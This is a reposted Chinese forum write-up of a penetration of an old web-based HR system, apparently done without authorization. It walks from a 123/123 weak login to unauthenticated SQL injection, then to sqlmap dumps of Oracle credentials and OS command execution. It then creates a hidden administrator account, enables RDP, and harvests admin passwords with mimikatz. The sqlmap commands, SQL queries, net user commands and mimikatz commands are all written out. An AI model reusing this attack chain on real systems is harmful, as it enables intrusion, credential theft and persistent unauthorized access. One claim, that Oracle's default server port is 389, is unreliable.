標題:一次從弱口令到getshell

taibeihacker

Moderator

0x01 弱口令​

在一次針對某站點信息收集的過程中,通過子域名掃描,掃描到某個老舊系統。
1629098949_611a13c5e2023f68aa123.png!small?1629098952907

一看這都2014年的老站了,肯定有搞頭!
日常使用burp爆破一波試試,沒爆破出來
但是隨手一試,好傢伙123/123進入系統,屬於是運氣拉滿了
(高強度打碼)
1629099157_611a149547fda2b8e9964.png!small?1629099159494

這裡能看到是一個“編輯”人員的權限,並沒有什麼上傳等後台管理的功能,只能耐心過一遍系統的各種功能。

0x02 SQL注入​

進入系統翻一翻,沒有什麼敏感信息洩露,但是在一處查詢人員信息的接口發現了SQL注入(xray被動掃描掃出來的)
content=123
這時想要手工驗證一下,發現甚至不需要後台cookie就能直接訪問該接口,相當於還存在未授權訪問漏洞。
那這sqlmap一把梭,--cookie參數都不用加了
python sqlmap.py -u 'http://host.com/xxx/control/SearchMenHunInfo?content=123' --current-db
1629100685_611a1a8d4ca7c7edef78d.png!small?1629100687369

這裡跑出了庫名,還能看到這是一個Oracle數據庫。打算繼續拿shell試試。
但是在我日常滲透過程中,Oracle數據庫並不常見,sqlmap中--os-shell參數還是不支持Oracle數據庫的,只能現學現賣一波。

0x03 getshell​

首先參考了這篇文章Oracle注入- 命令執行Shell反彈
1629101572_611a1e0406da1334227dd.png!small?1629101573386

文章中介紹到以下版本的Oracle在發現注入後可以命令執行
那麼再用sqlmap查看一下Oracle版本
python sqlmap.py -u 'http://host.com/xxx/control/SearchMenHunInfo?content=123' -b
1629101914_611a1f5a2cdcceb802e83.png!small?1629101915711

看來是符合可以命令執行的版本的!
又經歷了一波漫長的學習,發現了github一個大佬已經集成好的工具oracleShell oracle 數據庫命令執行
工具截圖如下
1629102386_611a2132b089bb783a905.png!small?1629102388399

可以看出,我們還需要知道數據庫的SID,用戶名,密碼,就可以嘗試執行命令。
那麼就繼續利用sqlmap來擴大我們已知信息。
查看數據庫權限--is-dba
1629102568_611a21e8e65e1527c6a5a.png!small?1629102570531

查看數據庫IP,SID
這裡進入sqlmap的--sql-shell模式,用sql語句來查詢
查詢SID:select instance_name from v$instance
查詢當前IP:select sys_context('userenv','ip_address') from dual
1629102806_611a22d69a7674a91543f.png!small?1629102808241

爆破所有數據庫賬號、密碼
使用sqlmap的--passwords參數,跑出數據庫的所用用戶名和對應的密碼
經過漫長的等待,終於有了結果(這裡給出的是虛構的數據)
database management system users password hashes:
[*] ANONYMOUS [1]:
password hash: anonymous
[*] HR [1]:
password hash: 6399F3B38EDF3288
[*] SYS [1]:
password hash: 4DE42795E66117AE
[*] SYSMAN [1]:
password hash: B607EEBB3A2D36D0
[*] SYSTEM[1]:
password hash: 8877FF8306EF558B
clear-text password: SYS
可以看到有些用戶名只得到了對應的哈希,但是其中一個用戶名system成功跑出了明文密碼!
查詢Oracle常用端口
Oracle確實不熟悉,百度查一波端口:
查詢發現,服務端默認的端口號一般是389,客戶端默認的端口號一般都是1521
OK!現在已經擁有了IP,PORT,SID,用戶名(SYSTEM),密碼(SYS),可以直接使用工具連接了。
1629103630_611a260eddcad3e1ff238.png!small?1629103632329

一切順利!取得了system權限!

0x04 进一步证明危害​

創建個用戶試試
net user name pwd /add
net localgroup Administrators name /add
遠程桌面RDP連接name/pwd
1629104189_611a283d93beace7f71e7.png!small?1629104197524

連接成功!
上傳一個mimikatz,抓取管理員明文密碼
privilege:debug
sekurlsa:logonPasswords
1629104190_611a283e48986590be6e9.png!small?1629104197526

最終成功登錄Administrator賬號RDP
1629104196_611a284403ee7334b6697.png!small?1629104197528

至此,滲透結束。

0x05 总结​

弱口令-sql注入-getshell-拿下管理員權限
1.通過子域名掃描工具對目標域名進行掃描,發現存在一個人力資源管理系統
2.通過手動測試123/123弱口令進入系統
3.在後台的查詢人員處存在SQL注入漏洞(xray被動掃描掃出來的)
4.通過sqlmap跑出當前數據庫為oracle
python sqlmap.py -u 'http://host.com/xxx/control/SearchMenHunInfo?content=123' --current-db
5.sqlmap中--os-shell參數是不支持Oracle數據庫的,因此這裡只能通過--os-sql來查找敏感信息
6.查詢oracle版本,發現版本為10.2.1.0(oracle能執行命令的版本為8.1.7.4,9.2.01-9.2.0.7,10.1.0.2-10.1.0.4,10.2.0.1-10.2.0.2)
python sqlmap.py -u 'http://host.com/xxx/control/SearchMenHunInfo?content=123' -b
7.查詢數據庫權限,是DBA權限
python sqlmap.py -u 'http://host.com/xxx/control/SearchMenHunInfo?content=123' --is-dba
8.通過--os-sql來查找查看數據庫IP,SID
select instance_name from v$instance //查詢SID
select sys_context('userenv','ip_address') from dual //查詢當前IP
9.通過sqlmap進行password dump出,用戶名system成功跑出了明文密碼
python sqlmap.py -u 'http://host.com/xxx/control/SearchMenHunInfo?content=123' --passwords
10.同時通過nmap掃描出數據庫服務器IP開放了1521端口。
11.通過oracleshell工具遠程連接數據庫,並執行系統命令
12.在命令中添加用戶名和密碼並添加到管理員組,通過註冊表開啟遠程桌面。
net user name pwd /add
net localgroup Administrators name /add
13.通過mimikatz讀取到系統的密碼
privilege:debug
sekurlsa:logonPasswords
原文鏈接:https://www.freebuf.com/articles/web/284911.html
 
返回
上方